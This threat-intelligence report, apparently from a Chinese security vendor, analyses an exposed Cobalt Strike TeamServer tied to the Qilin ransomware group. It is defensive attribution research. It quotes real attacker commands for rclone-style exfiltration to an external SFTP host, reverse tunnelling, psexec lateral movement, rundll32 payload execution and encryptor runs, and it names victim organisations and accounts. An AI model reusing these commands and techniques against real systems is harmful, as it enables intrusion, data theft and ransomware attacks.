赛博暗影:从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链"

admin 2026-10-20 21:41:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

赛博暗影:从暴露的CobaltStrike基础设施还原Qilin勒索团伙攻击链

原创

红雨滴团队
红雨滴团队

奇安信威胁情报中心

2026年6月5日 14:39
北京

在小说阅读器读本章

去阅读

一、概述

近期,奇安信威胁情报中心在日常样本跟踪分析过程中,发现一套高疑似勒索组织Qilin(Agenda)暴露在外的Cobalt Strike TeamServer工作目录。通过对该目录下TeamServer 配置、事件日志、Beacon 会话日志、目标资产库、凭据库、下载文件、键盘记录、截图和上传载荷等内容的综合研判,可以确认该批文件并非单纯的黑客工具样本,而是能够直接反映Qilin(Agenda)勒索组织真实攻击活动的运营资料。

相关日志显示,该平台至少自 2024 年 8 月起开始使用,并在 2025 年 6 月至 8 月期间持续针对多个受害环境开展控制、侦察、横向移动、凭据窃取、批量搜集和数据外传等攻击行为。从文件侧看,目录名、启动脚本和profile命名都指向同一套较新的Cobalt Strike体系:teamserver脚本以/root/cobalt410/server为工作路径,目录中保留TeamServerImage、listener、artifact和jquery-c2.4.10.profile。我们据此判断,攻击者使用的是未公布过的Cobalt Strike 4.10 TeamServer版本。

从已掌握证据看,Qilin(Agenda)相关操作人员不仅具备对多个受害网络进行长期控制和协同作业的能力,还在部分环境中完成了域级权限获取、共享目录和业务资料分类外传,以及勒索载荷投放。日志中已出现加密范围参数、勒索说明文件和疑似勒索模块批量投递执行链,表明该批泄露资料能够较为完整地揭示 Qilin 勒索组织从入侵、扩散、窃密到勒索实施的关键流程,对研判其攻击模式、受害偏好和战术特征具有较高参考价值。

其中Quaser/QMT活动簇是我们将其关联到Qilin(Agenda)勒索组织证据链最完整的一组。QMT即Quaser Machine Tools, Inc,接下来我们以Quaser/QMT指代该受害环境。本地日志中可以看到QMT域内资产、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe加密参数、README-RECOVER勒索说明文件和中国台湾低值守时间窗口;公开泄露条目又将Quaser Machine Tools, Inc归入Qilin(Agenda)。两类证据闭合后,可以高置信将该活动簇归属于Qilin(Agenda)相关勒索攻击。

下图概括Quaser/QMT活动中从凭据收割、横向移动、数据外传到加密触发的关键链路。

图1:Quaser/QMT勒索攻击链

二、攻击基础设施复盘

(一)Listener与C2通信

从listeners.bin与日志任务可复原出至少三类通信路径。主力HTTP listener为HTTP-brobin,C2域名包括owa.brobinhood[.]com和www.brobinhood[.]com,监听IP为45.66.249[.]207:80。DNS listener为dns-brobin,目标域包括brobingood[.]com和ns1.brobingood[.]com。还使用SMB/命名管道45smb,pipe名为\\.\pipe\Winsock2\CatalogChangeListener-1a-0,用于内网横向后的peer-to-peer通信。

泄露目录中还可见TeamServer对外绑定地址0.0.0.0、服务端口50050、本地密钥库cobaltstrike.store以及启动相关文件。结合listener、events.log、weblog和Beacon会话记录,该目录属于真实运营期TeamServer,而不是单纯工具仓库或样本临时解包目录。

名称 类型 关键配置 说明
HTTP-brobin HTTP reverse beacon owa.brobinhood[.]com:80、www.brobinhood[.]com、45.66.249[.]207:80 主力C2,日志中298条listener会话
dns-brobin DNS TXT reverse beacon brobingood[.]com、ns1.brobingood[.]com DNS模式或备用通信,48条listener会话
45smb SMB pipe beacon \\.\pipe\Winsock2\CatalogChangeListener-1a-0 内网横向后的SMB/pipe通信

Malleable C2 profile体现了典型伪装。jquery-c2.4.10.profile使用jQuery风格URI、IE/Trident User-Agent、jquery.com风格证书字段,spawnto指向dllhost.exe,开启sleep\_mask与stomppe。google.profile使用Google API/静态资源风格URI、.googleapis.com和.gstatic.com风格证书字段,pipe名称也使用Winsock2\CatalogChangeListener-##-0,spawnto指向WerFault.exe。

有意思的是,hosted file与download路径多次出现/root/cobalt410/server,说明攻击者并非只使用单个Beacon载荷,而是维护了一套Cobalt Strike 4.10 TeamServer作业目录。相比孤立样本,完整目录可以串起listener、operator、profile、artifact、hosted file、downloads和screenshots之间的关系。

(二)操作员来源与角色

日志中提取到6类主要操作员账号,呈现出明确分工:black是主操作员,掌控枚举、横向、加密器执行、清理和多目标推进;black2集中在Quaser/QMT早期和加密前关键阶段;gha偏数据外传,常与vmware.exe sync/copy同现;neon-lights偏工具投递、远控/隧道;black1/gh为后期接力账号。

操作员 来源IP 命令数 活跃区间 角色画像
black 45.66.249[.]91,后切换到 179.43.189[.]17 2710 2025-06-05至08-02 主操作员;枚举、横向移动、下载、清理、外传均有参与
black2 45.66.249[.]91 453 2025-06-05至06-20 早期阶段;端口扫描、BloodHound、AnyDesk和文件同步;Quaser/QMT阶段主操作员
gha 45.66.249[.]91,后切换到 179.43.189[.]17 293 2025-06-08至08-01 外传相关命令密集,常与 vmware.exe sync/copy 同现,外传角色最明显
neon-lights/neon-light 45.66.249[.]91,后切换到 179.43.189[.]17 383 2025-06-05至08-02 工具投递、隧道/远控、部分 SharpHound 操作
black1/gh 179.43.189[.]17 234 2025-07-01至08-02 后期操作账号,集中在 7 月底至 8 月初
neo/neo1/neo2 内部测试网段 62 2024-08至2025-04 早期测试、Loader/EDR/注入验证痕迹明显

从日志看,black、black2、neon-lights最早在2025年6月5日从45.66.249.91接入;若只看可操作命令,Quaser/QMT活动簇最早由black2在2025年6月8日13:06:24 UTC发起psexec横向,gha同日15:41开始执行外传。2024年8月至2025年4月的neo/neo1/neo2记录集中在平台搭建、Loader/EDR对抗和投递调优阶段;2025年6月后,多个operator alias开始在同一TeamServer上分工推进多目标作业。

值得一提的是,2025年7月28日前,主要外部操作员来源为45.66.249[.]91;7月29日起,black、gha、neon-lights、black1、gh等账号陆续从179.43.189[.]17接入。推测此举是攻击基础设施迁移或代理出口切换,降低单点失效风险。

Doghe/Gouhe与主攻击账号关系

Doghe/Gouhe线索来自2025年2月24日DESKTOP-OO64GFF本地用户Doghe相关截图;另一组Javier Milei截图在2025年2月26日出现Loader.exe、SentinelOne、Process Explorer等工具画面。这组截图反映的是早期Loader/EDR对抗验证环境,不是2025年6月至8月主攻击阶段的TeamServer operator alias。

主攻击阶段的操作身份以TeamServer事件和Beacon命令日志得出。black、black2、gha、neon-lights等operator alias持续出现在实战日志中:black承担主控和横向推进,black2集中于Quaser/QMT早期与加密前关键阶段,gha偏数据外传,neon-lights偏工具投递和远控/隧道。

三、详细分析

(一)攻击时间线

日志覆盖2024年8月26日至2025年8月2日,其中主攻击活动高峰集中在2025年6月至8月。解析结果显示至少790条Beacon元数据记录、804个initial beacon、208个内网IP和4149条操作员输入命令。

阶段 日期 活动簇 关键行为
A 2024-08-26 至 2024-08-30 早期测试 neo1/neo2,内部网段,低频命令,平台搭建与连通性验证
B 2025-02-24 至 2025-04-15 Loader/EDR 验证 截图显示 Loader、SentinelOne、Process Explorer、NtdllUnhook.exe、PoolParty/APC 注入测试
C 2025-06-05 至 2025-06-13 目标集群 1:Quaser/QMT 制造环境 192.168.\* 网段端口扫描、BloodHound、Mimikatz、AnyDesk、固件/实验室/用户目录外传;2025-06-11 至 2025-06-12 投递 quaser.exe
D 2025-06-19 至 2025-06-24 目标集群 2:GRC/GRControls 环境 域控、SQL、文件服务器、邮件/备份主机;财务、HR、项目、KeePass/OneNote/IT 文档下载;2025-06-23 投递 grc.exe/r.exe 并枚举 vCenter
E 2025-06-25 至 2025-07-04 目标集群 3:QCT/Quanta 类环境 DC/RDS/SAM/多地域 DC;HR 数据、MobaXterm 密码、sshpass、BloodHound;后续出现 VMware/ESXi 管理相关线索
F 2025-07-05 至 2025-07-08 远控与工具维持 AnyDesk 安装并设置固定口令,rs64/rs64c 连接 83.147.17[.]59 多端口
G 2025-07-19 至 2025-07-20 大规模 beacon 波次 7 月 19 日出现 306 个 initial beacons,但命令很少,批量上线、投递验证或自动化会话扩展
H 2025-07-26 高强度域扩展 当日 639 条命令、45 个 psexec 任务、17 条外传命令,集中在 PRD/AVD/域控与文件服务器
I 2025-07-29 至 2025-08-02 后期新环境与外传 操作源切换到 179.43.189[.]17;RHP/RS/ZJSY 类环境,财务、法律、流程部门、HR、实验室数据外传

命令高峰日期如下表所示:

日期 Initial beacon 命令数 psexec inject 外传 说明
2025-07-26 66 639 45 16 17 PRD/AVD 域扩展高峰
2025-06-23 32 524 147 2 0 GRC 类环境横向移动高峰
2025-06-20 28 430 50 11 34 GRC 类环境收集与外传高峰
2025-06-30 14 303 16 1 7 QCT/Quanta 类环境操作高峰
2025-06-11 13 116 14 3 1 Quaser/QMT 加密前凭据收割与 quaser.exe 投递
2025-07-19 306 5 0 0 0 大规模上线但人工操作很少
2025-08-01 13 189 11 3 4 后期 RS/ZJSY/RHP 类环境继续扩展

(二)受害者画像

1. 多受害环境总览

结合events.log、targets.bin、downloads.log、beacon\_\*.log和credentials.bin,可以看到该TeamServer同时维护多套独立受害环境。不同环境共享同一控制层和操作员体系,攻击动作从域侦察、凭据收割、横向移动一直延伸到外传和勒索阶段。

受害环境 关键主机/资产 主要攻击动作 主要数据目标/证据
QCT/ERP/制造管理 ERPDB、ERPDB2、DC1、DC02、TWSAM01 域侦察、hashdump/logonpasswords、make\_token、jump psexec64、桌面目录同步 QCT HR data、MobaXterm Stored Passwords、BloodHound.zip、PE02 Desktop
GRC/工业控制办公网 GRCSQL、GRCFS1、GRCDC1、GRCMAIL01、GRCRDS、GRCBACKUP01 抓密、rs64/rs64c转发、socks、RDP/代理通信、密码库下载 Admin rights PCs.xlsx、GRC.kdbx、Network.one、Security.one
Orchard Energy / RHP RHP-DC01、RHP-SAP01、OEAPPLE01 DNS区记录枚举、主机发现、端口扫描、网络画像 dns.txt、orchardenergy.local记录、域内主机命名体系
CNDC01中文制造域 CNDC01、10.7.16.18及MES-\*系列主机 域控级logonpasswords/hashdump、用户登录来源追踪 credentials.bin中大量host=10.7.16.18、realm=CNDC01、source=hashdump记录
OVDI/VDI/共享盘 OVDI-RDS、OVDI-STORAGE、WIN-FILE、大量OVDI6-\和NANBIN-OVDI\终端 大网段扫描、共享盘访问、按业务目录批量同步外传 remote:legal、remote:fin、remote:shares、battery\_lab、process\_dept
备份/灾备/关键基础设施 PDMSERVER-DR、CERBACKUPAPP-RO、CERBACKUP-RO、WSUS、WIN-FILE 服务探测、纳入目标库、共享盘/文件系统访问 备份资产、恢复链路、文件服务器资料,直接影响勒索恢复能力

从Beacon元数据和横向移动记录看,受害环境不是单一小型网络,而是多组企业域/网段。受害者侧呈现出明显筛选偏好:制造业、工业控制/工程、服务器/电子供应链、财务/ERP/SAP、域控/RDS/文件服务器/虚拟化平台等高勒索价值环境被反复触及。

2. Quaser/QMT:中国台湾地区制造业目标

Quaser/QMT在本文中指Quaser Machine Tools, Inc.及其相关受害环境。公开泄露聚合中该实体被列入Qilin泄露条目;本地Cobalt Strike日志中同一活动簇出现QMT域内主机、QMT.COM.TW\fin06、ERPDB/ERPDB2、quaser.exe和凌晨加密窗口。

这一活动簇的价值在于本地日志与公开泄露条目能够互相咬合:公开泄露聚合条目标注其为中国台湾地区制造业目标[1];本地日志中则能看到QMT/Quaser命名、Big5/繁体中文输出、中国台湾UTC+8时间差,以及ERP、FIN、RD、NAS/BAK等制造业资产命名。日志可见阶段,攻击者已经取得域和核心服务器访问,随后外传研发/实验室/固件/用户目录,再在192.168.5.140等终端上做凭据补强和交互式桌面查看,最后在中国台湾本地凌晨投递quaser.exe。

日志文件 UTC时间 操作员 Beacon释放信息 证据含义
250611/192.168.5.140/beacon\_1421462268.log 07:25:54、07:26:00 black2 logonpasswords两次触发 NB-084节点上进行凭据收割
250611/192.168.102.177/beacon\_680690148.log 20:31:21至20:33:15 black2 quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --paths \\192.168.8.142\c$ 按管理共享路径触发加密
250611/192.168.8.142/beacon\_1917418634.log 20:26:45至20:28:56 black2 SYSTEM \*会话,上传并运行quaser.exe --force PC-0077上完成加密器投递
250611/192.168.1.2/beacon\_1372223650.log 20:38:53至20:55:52 black2 多条--paths指向192.168.8.127、192.168.7.231、192.168.5.164及c$/d$/e$/f$ 批量路径级加密动作
250611/192.168.8.127/beacon\_597649952.log 20:38:42 black2 is\_spreading\_vcenter: false 存在vCenter/ESXi传播逻辑标记

3. GRC/GRControls:工业控制/企业制造类目标

GRC/GRControls画像显示受害者拥有完整企业IT架构:域控、SQL、文件服务器、邮件、备份、RDS,以及工厂/仓储/QA相关资产。2025年6月20日出现430条命令、34条外传、13个下载,偏拿数据和凭据;6月23日出现524条命令、147个psexec,偏横向扩散和加密执行。grc.exe/r.exe/ggrc.exe/grcc.exe与quaser.exe同为5254656字节,参数体系高度一致。

4. QCT/Quanta类环境:电子/服务器供应链

QCT命名资产表现出跨地域和工程/服务器基础设施特征。QCTUS-KPHAM、TWDC01、BJFS01、BJDC01、qctdrive、qctlab.tw等命名显示受害者业务数据和实验室资产价值高。MobaXterm和sshpass线索说明攻击者试图进入SSH、Linux或虚拟化管理链。

5. 后期多目标:金融/生产/SAP/RDS类环境

7月末至8月初出现AVD-BANK、PRD-DC-01/02、RHP-SAP01、RHP-DC01、OVDI-RDS、CNDC01、WSUS、WIN-FILE等目标。这些后期目标证明该TeamServer是多目标平台:同一批操作员和工具链可在不同企业、行业和网络中重复落地。

攻击对象的关联并非只来自组织名称。Beacon元数据、主机名、用户、进程和operator命令共同指向一批高价值企业资产。如下表所示:

活动簇 关键资产 可见权限/账号 攻击价值
Quaser/QMT ERPDB、ERPDB2、DC1、NB-084、PC-0077、NB-073、RD相关主机 SYSTEM \*、fin06、black2触发logonpasswords 制造业ERP、研发/固件、用户目录、备份/NAS数据
GRC/GRControls GRCSQL、GRCDC1、GRCFS1、GRCBACKUP01、GRCRDS SYSTEM \、Administrator \、GRCONTROLS\administrator、SharePointAdmin、Domain Admins枚举 工业控制/企业制造环境,域控、SQL、备份和文件服务器齐全
QCT/Quanta类环境 DC02、RDS01、TWDC01、BJFS01、QCTUS-KPHAM SYSTEM \*、qcttwadm、MobaXterm/sshpass线索 电子/服务器供应链、实验室、远程桌面和跨地域文件资产
后期多目标 PRD-DC-01/02、AVD-BANK、RHP-SAP01、RHP-DC01、OVDI-RDS、CNDC01、WSUS、WIN-FILE SYSTEM \、Administrator \、cYBERaRKadm、SAPServicePOP、RS\Administrator make\_token 生产域控、SAP、银行命名资产、RDS/VDI、WSUS和文件服务器

(三)凭据获取与域枚举

至少292条命令命中凭据获取相关关键字,包含hashdump、logonpasswords、make\_token、MobaXterm密码文件下载等。典型证据包括:2025年6月11日black2在NB-084上两次触发logonpasswords;2025年7月5日black在DC01上下载MobaXterm Stored Passwords两次;2025年8月2日black在CNDC01上执行nltest /domain\_trusts和SharpHound。从权限层面看,多处Beacon元数据以SYSTEM \、Administrator \运行;GRC、RS等环境中还出现Domain Admins/Enterprise Admins枚举、make\_token以及SharePointAdmin、SAPServicePOP、qcttwadm、cYBERaRKadm等高价值账号或服务账号线索。

发现/侦察命令命中1647次。典型命令包括whoami、ipconfig /all、netstat、nltest /domain\_trusts、dsquery subnet、net group Domain admins /domain、portscan、SharpHound/BloodHound。日志中至少34条BloodHound/SharpHound相关事件,说明攻击者在每进入一个新域/新环境后,会快速建立域关系图,用于寻找管理员路径和横向移动目标。

(四)横向移动

横向移动/远程执行命令命中761次。psexec64是最核心的横向移动方式,日志中可见401条jump psexec输入和400余条psexec相关横向命令。典型模式为:jump psexec64 HTTP-brobin,payload落地路径为\\\ADMIN$\<7位随机>.exe,通过服务控制管理器以服务方式启动Beacon。

技术 日志表现 影响
psexec/SCM jump psexec64 → ADMIN$\<随机>.exe 向远程ADMIN$投递随机EXE并以服务启动
Process Injection inject x64 HTTP-brobin 注入到Explorer/winlogon/dllhost/WerFault等进程
Spawn spawn (x64) HTTP-brobin 从现有Beacon派生新Beacon
Bind Pipe \\.\pipe\Winsock2\CatalogChangeListener-1a-0 SMB/命名管道peer-to-peer横向
SOCKS代理 socks到445失败/成功记录 代理横向访问和扫描

2025年7月26日在10.11.0.21、10.11.0.20上存在大量对10.67.10.\、10.30.10.\、10.10.11.\*的psexec和bind pipe任务,是整组日志中最强的横向扩展阶段。

(五)数据收集与外传

提取到187条外传命令。攻击者使用伪装路径下的同步工具执行外传。命令结构高度类似rclone:

C:\Windows\Temp\vmware.exe sync/copy --max-age <时间> \"<路径>\" remote:<目录名> -q --exclude=\.exe --exclude=\.msi --exclude=\.iso --exclude=\.pst --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --stats 10s --stats-one-line --progress

该模板说明攻击者不是无差别复制所有文件,而是倾向于排除可执行文件、安装包、ISO和大型邮件归档,优先收集更适合双重勒索的业务文档。远端目录按fin、hr、legal、lab、firmware、projects等主题分类。多处输出明确出现sftp://[email protected][.]59:222/...,因此83.147.17[.]59:222是高置信外传端点。

数据类型 日志线索 风险含义
财务 remote:fin、工资、信用卡、审计 勒索谈判价值高,泄露压力大
HR remote:hr、remote:hrsecure 个人隐私与合规压力
法务/投资者关系 remote:legal、remote:invest\_relations 监管和商业谈判风险
研发/工程 remote:R&D、remote:firmware、remote:lab 知识产权和供应链风险
IT/身份 Admin rights PCs.xlsx、KeePass、MobaXterm 后续入侵和横向扩展风险

downloads.log记录了38个通过Cobalt Strike download拉回TeamServer的文件,包含多份BloodHound ZIP、凭据文本、KeePass数据库、HR/财务/安全相关Excel/Word/OneNote文件、MobaXterm Stored Passwords、PowerShell脚本等。

(六)远控与持久化

最明确的持久化/RMM证据来自10.108.3.111:攻击者上传AnyDesk.exe,执行安装到C:\Program Files (x86)\AnyDesk并--start-with-win,随后通过管道设置AnyDesk访问密码,启动AnyDesk并获取ID 1723638209。同一阶段还上传rs64.exe,执行rs64.exe -connect 83.147.17[.]59:8443,说明除Cobalt Strike外还尝试建立额外远控或隧道。

http80.dll被用于计划任务持久化。日志中出现任务名Indexer,动作是周期性执行rundll32.exe \http80.dll,StartW,运行账号为SYSTEM,周期为每5分钟。实际主逻辑由DllMain创建线程进入worker函数,StartW本身是保活式sleep loop。

(七)防御规避与安全产品对抗

截图和日志共同证明攻击者测试或使用了防御规避组件:

证据 结论
DESKTOP-BIUFC6L桌面存在Loader.exe、beacon\_x64.bin、run.bin、obf.bin 攻击者以自定义Loader执行Beacon shellcode
SentinelOne告警NtdllUnhook.exe、Loader.exe 尝试unhook或绕过EDR,被SentinelOne标记/缓解
SentinelOne告警PROCEXP152.SYS blocked suspicious driver 尝试加载Process Explorer相关驱动,被阻断
PoolPartyBof 3624 /home/kali/Desktop/stack.bin 4 使用PoolParty风格注入BOF
Profile中sleep\_mask=true、stomppe=true、userwx=false Beacon内存隐蔽和进程伪装配置

(八)截图证据

以下截图来自server/screenshots目录,记录了攻击者测试桌面、EDR对抗和驱动加载阻断等关键场景。

图2:攻击者测试桌面,可见Cobalt Strike、x64dbg、Process Hacker、Visual Studio、BOF.NET、Loader等工具

截图显示同一桌面上存在Cobalt Strike窗口、x64dbg、Process Hacker、Visual Studio、BOF.NET、sleepmask项目、badger目录、beacon\_x64和Loader等工具/项目名。结合2025-02至2025-04的neo操作日志,该环境更像攻击者的Loader、Beacon与EDR对抗验证环境,而非普通受害者桌面。

图3:Loader.exe与SentinelOne检测界面

截图中命令行出现Loader.exe beacon\_x64.bin,目录中存在beacon、obf.bin、run.bin等文件;同时可见SentinelOne Agent。这与日志中的Loader.exe、hashdump、logonpasswords、截图和注入测试形成呼应。

图4:NtdllUnhook.exe被SentinelOne标记为可疑

SentinelOne界面显示NtdllUnhook.exe被判定为suspicious/malicious,Loader.exe风险被mitigated。该证据说明攻击者尝试进行EDR/用户态hook对抗。

图5:Process Explorer驱动加载被阻断

截图显示Process Explorer/Process Hacker相关驱动加载被拦截,PROCEXP152.SYS被标记为suspicious driver prevented from loading。这一证据佐证了攻击者尝试系统工具/驱动加载与EDR对抗的行为判断。

(九)样本分析

0x01 dns.dll与http80.dll

dns.dll与http80.dll是同一套x64 DLL加载框架的不同配置变体。两者.text代码区SHA256完全一致,仅.data区不同。

文件 SHA256 大小 角色
dns.dll 54e3d79c853f723b8e6ece83f993b51770f8485a648a8a943bc1c8d6c21db01e 827,904 DNS命名artifact变体
http80.dll e16a038b93fe8bc8b394eb271f3c3db1ccee1efafd9623e6eeefef5a8695adc9 827,904 HTTP命名artifact变体

其具体功能为命名管道处理、子进程创建与管道I/O、临时文件处理、令牌模拟、事件日志API、动态API解析和内存页属性处理等。

日志中rundll32.exe ... http80.dll,StartW会让StartW导出函数进入睡眠循环,同时DLL加载阶段的DllMain已创建StartAddress工作线程。该结构解释了两件日志现象:显式导出名用于维持rundll32.exe进程不退出,主函数由DLL加载阶段创建的线程进入。

0x02 ndp48.dll

ndp48.dll是一个伪装成OpenMP runtime兼容DLL的x64 PE。它导出大量\\_kmpc\\*名称,但关键导出函数为barrier。攻击者通过rundll32.exe c:\windows\temp\
dp48.dll,barrier触发。

barrier内部使用NtTestAlert()执行前线程APC注入。注入的内嵌PE使用反射加载器完成节名、导入名和.text解密。分析表明,ndp48.dll的内层payload是后渗透载荷,覆盖HTTP/WinINet、Winsock、命名管道、进程注入、令牌模拟、文件/进程枚举和命令执行。

从日志侧看,2025年7月26日至8月1日围绕ndp48.dll出现了集中式分发和远程执行。攻击者先上传DLL,再通过SMB复制到目标主机C:\Windows\Temp,之后使用psexec.exe以SYSTEM身份调用rundll32.exe c:\windows\temp\
dp48.dll,barrier执行。ndp48.dll其功能更符合后渗透载荷/加载器特征;该批量投放链与勒索收网阶段高度重合,并非加密器本体。

时间 跳板/日志 目标 动作
2025-07-26 20:34 UTC 10.11.0.20 / beacon\_99107480.log 本地会话 上传ndp48.dll,形成后续分发源
2025-07-26 21:19 UTC 10.11.0.20 10.67.10.50 copy ndp48.dll到C:\Windows\Temp后,psexec -s调用rundll32 ... barrier
2025-07-26 21:41-22:24 UTC 10.11.0.20 10.10.11.21、10.10.11.20、10.30.10.23 重复相同copy -> psexec -> rundll32执行链
2025-07-30 08:21-08:23 UTC 10.0.0.4 / beacon\_1570893564.log 10.183.52.153、10.183.52.188、10.183.52.192 在新子网复制并远程执行ndp48.dll
2025-08-01 15:42 UTC events.log 外部托管 black将/root/cobalt410/server/uploads/ndp48.dll托管为hxxp://45.66.249.207:8081/file.ext

0x03 Quaser/QMT加密器投递

Quaser/QMT环境中,攻击者上传并运行quaser.exe。该文件在日志中的MD5为cecab124d689209f23b8bd35f01e4dc8,大小为5,254,656字节。加密触发集中在2025年6月11日20:31至20:55 UTC,对应中国台湾时间2025年6月12日04:31至04:55。命令形态包括victim-specific password参数、--paths、--force和管理共享路径。日志还出现is\_spreading\_vcenter标记,以及对902/9084/9401等虚拟化相关端口的关注。

UTC时间 中国台湾时间UTC+8 行为 含义
07:25至07:26 15:25至15:26 NB-084上两次logonpasswords 凭据收割
07:28 15:28 [email protected] initial beacon 会话纳入HTTP C2
07:53 15:53 vmware.exe sync外传桌面数据 数据收集
18:52至20:28 02:52至04:28 多次上传quaser.exe 加密器投递
20:31至20:55 04:31至04:55 quaser.exe路径级加密命令 凌晨破坏触发

从勒索特征看,quaser.exe具备明显的Agenda/Qilin式目标定制痕迹:一是命令行使用victim-specific password,且与--paths、--force组合;二是通过\\\$管理共享执行路径级加密,而非单机本地目录加密;三是日志输出is\_spreading\_vcenter字段,说明样本或配置中存在虚拟化传播逻辑;四是公开泄露聚合信息将Quaser Machine Tools, Inc归入Qilin,与本地QMT/Quaser命名闭合。

0x04 Qilin/Agenda加密器特征

值得一提的是,QMT阶段的Beacon日志可以释放出一组直接指向勒索触发的关键命令。该组命令体现了Qilin/Agenda式目标定制加密器的几个特征:victim-specific password、路径级加密、ADMIN、低值守窗口触发,以及虚拟化传播字段。

特征 证据 含义
加密器文件 quaser.exe,MD5 cecab124d689209f23b8bd35f01e4dc8,大小5,254,656字节 目标环境定制加密器。
关键参数 --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C,与--paths、--force、--no-admin组合出现 加密器需要受害者特定口令或配置参数触发。
路径级触发 --paths \\192.168.8.142\c$、\\192.168.8.127\c$、\\192.168.7.231\c$、\\192.168.5.164\d$、u:\ 攻击者通过管理共享和盘符路径定向加密关键资产。
虚拟化线索 is\_spreading\_vcenter: false;端口扫描关注902/9084/9401 样本或配置中存在vCenter/虚拟化传播逻辑。
触发窗口 2025-06-11 20:31-20:55 UTC,对应中国台湾时间2025-06-12 04:31-04:55 选择凌晨低时间执行破坏。

其中日志文件中的Beacon证据如下表所示:

日志文件 UTC时间 关键命令/输出 说明
logs/250611/192.168.102.177/beacon\_680690148.log 20:31:21 quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --paths \\192.168.8.142\c$ 从远端会话触发目标路径加密。
logs/250611/192.168.8.142/beacon\_1917418634.log 18:52-20:55 上传quaser.exe;C:\programdata\quaser.exe --password 9DdWcpQfqkoZhCeNy3S9ZymKRK2wRf0C --force 本机投递并强制执行。
logs/250611/192.168.8.127/beacon\_597649952.log 20:xx 运行quaser.exe后输出is\_spreading\_vcenter: false 虚拟化传播开关或状态字段。
logs/250611/192.168.1.2/beacon\_1372223650.log 20:31-20:55 --paths指向192.168.8.127、192.168.7.231、192.168.5.164、192.168.1.2、192.168.1.1及u:\ 从ERPDB2相关节点向多路径扩展。

0x05 勒索结果与说明文件落地

日志证据进一步增强了勒索结果判断。2025年6月11日至12日,多个Beacon会话不仅出现quaser.exe执行参数,还记录了加密范围开关和勒索说明文件落地。该证据比单纯看到加密器命令更直接,说明受害主机已经进入加密与勒索说明投放阶段。

时间 主机/日志 证据 结论
2025-06-11 20:38:42 UTC NB-073 / 192.168.8.127 / beacon\_597649952.log encrypt\_local\_computer、encrypt\_mounted\_shares、encrypt\_domain\_area、encrypt\_network\_area均为true 加密范围覆盖本机、挂载盘、域内和网络范围
2025-06-12 04:29:36 PC-0077 / 192.168.8.142 README-RECOVER-7erzmV2ZsE.txt 勒索说明文件已在受害主机落地
2025-06-12 04:39:45 NB-073 / 192.168.8.127 README-RECOVER-7erzmV2ZsE.txt 至少两台主机进入勒索说明投放阶段
2025-06-11 20:46:37 UTC 192.168.5.164 / beacon\_1359713202.log 四类encrypt\_\*配置均为true,随后出现README-RECOVER文件 勒索执行并非单机会话现象

四、溯源关联

(一)Qilin(Agenda)归因

该TeamServer可高置信关联Qilin(又名Agenda)勒索组织相关作业。Quaser/QMT事件是证据链最完整的一组:公开泄露条目、本地QMT域内资产、加密器命名、victim-specific password、--paths路径级加密、README-RECOVER勒索说明文件和vCenter/ESXi传播字段同时闭合。

证据维度 本地/公开证据 归因含义
公开泄露条目 Ransomware.live与HookPhish均记录Quaser Machine Tools, Inc归入Qilin,地区为TW/Taiwan 受害者名称与本地QMT/Quaser线索闭合
加密执行结果 encrypt\_local\_computer、encrypt\_mounted\_shares、encrypt\_domain\_area、encrypt\_network\_area均为true;README-RECOVER-7erzmV2ZsE.txt落地 已经进入实际勒索执行阶段,而非仅有工具能力
加密器参数 quaser.exe使用--password、--paths、--force、--no-admin,并输出is\_spreading\_vcenter 与Agenda/Qilin公开技术细节高度吻合
虚拟化关注点 扫描902/9084/9401,日志出现is\_spreading\_vcenter,GRC阶段还出现vCenter相关枚举 与公开Agenda/Qilin面向vCenter/ESXi传播能力交叉
统一作业平台 45.66.249.207、HTTP-brobin、dns-brobin、SMB Beacon、operator alias和外传remote分类在多个环境复用 说明不是孤立单案,而是一套多目标勒索作业平台
后期投放链 2025-07-26至08-01出现ndp48.dll批量copy、psexec -s/-d、rundll32 barrier和外部托管 显示平台继续承担后期载荷投放和收网任务

Trend Micro在2024年3月报告中提到[2],Agenda/Qilin Rust变体支持--password、--paths、--spread、--no-network等参数,并可通过PsExec、SSH和vCenter/ESXi相关方式传播;HHS HC3的Qilin Threat Profile[5]也将Qilin描述为Agenda的后续品牌,具备RaaS、Cobalt Strike、RMM、PsExec/SSH、ESXi和双重勒索特征。综合以上线索,我们认为该泄露目录对应的是Qilin(Agenda)相关勒索攻击的实战运营基础设施,Quaser/QMT事件已达到高置信公开披露标准。

(二)攻击者工作时间

全量4149条输入命令的UTC小时分布显示,峰值集中在UTC 07:00至11:00,最高峰为UTC 10:00(462条)、UTC 08:00(415条)、UTC 07:00(402条)。将全部命令投影到候选时区后,UTC+3至UTC+5更符合人工工作班次,其中UTC+3最符合:

候选时区 本地09:00-20:00命令数 本地10:00-18:00命令数 本地00:00-05:00命令数
UTC+3 3245 2766 283
UTC+4 3174 2703 493
UTC+5 2975 2541 616
UTC+8 2374 1841 1049

这与公开资料中Qilin被描述为俄语系勒索生态并不冲突。Quaser/QMT最终加密动作发生在中国台湾本地凌晨,说明攻击者会把高交互操作和最终破坏窗口时间拆开,高交互侦察和横向操作落在操作者白天,加密触发则安排在受害者低值守时间。

(三)多环境并行作业关系

同一TeamServer上的GRC/GRControls、QCT/Quanta、RHP/Orchard、CNDC01、OVDI、备份/灾备等环境共享同一控制层、operator alias、listener、ADMIN$/PsExec横向、hashdump/logonpasswords凭据收割、vmware.exe/explorer.exe sync/copy外传和ndp48.dll批量投放链。从基础设施归属和作业链复用看,它们共同构成同一套Qilin相关勒索作业平台的并行受害环境记录。

五、总结

这套TeamServer目录泄露的价值,不在单个Beacon样本,而在完整的暴露了攻击者、工具链和受害者资产。文件侧能看到Cobalt Strike 4.10体系目录、profile/listener/artifact/hosted file;攻击者侧能看到攻击者账号、来源IP、命令节奏和分工;受害者侧能看到域控、文件服务器、RDS、SAP/SQL、备份/WSUS等高价值资产如何被逐步接管。

Quaser/QMT个案的证据链最完整,能够作为本次归因的锚点;其他受害环境则通过同一TeamServer、同一operator体系、同一横向/外传/投放链路与该锚点相连。综合以上线索,我们认为这套暴露目录反映的是Qilin(Agenda)相关affiliate的多目标实战运营平台。

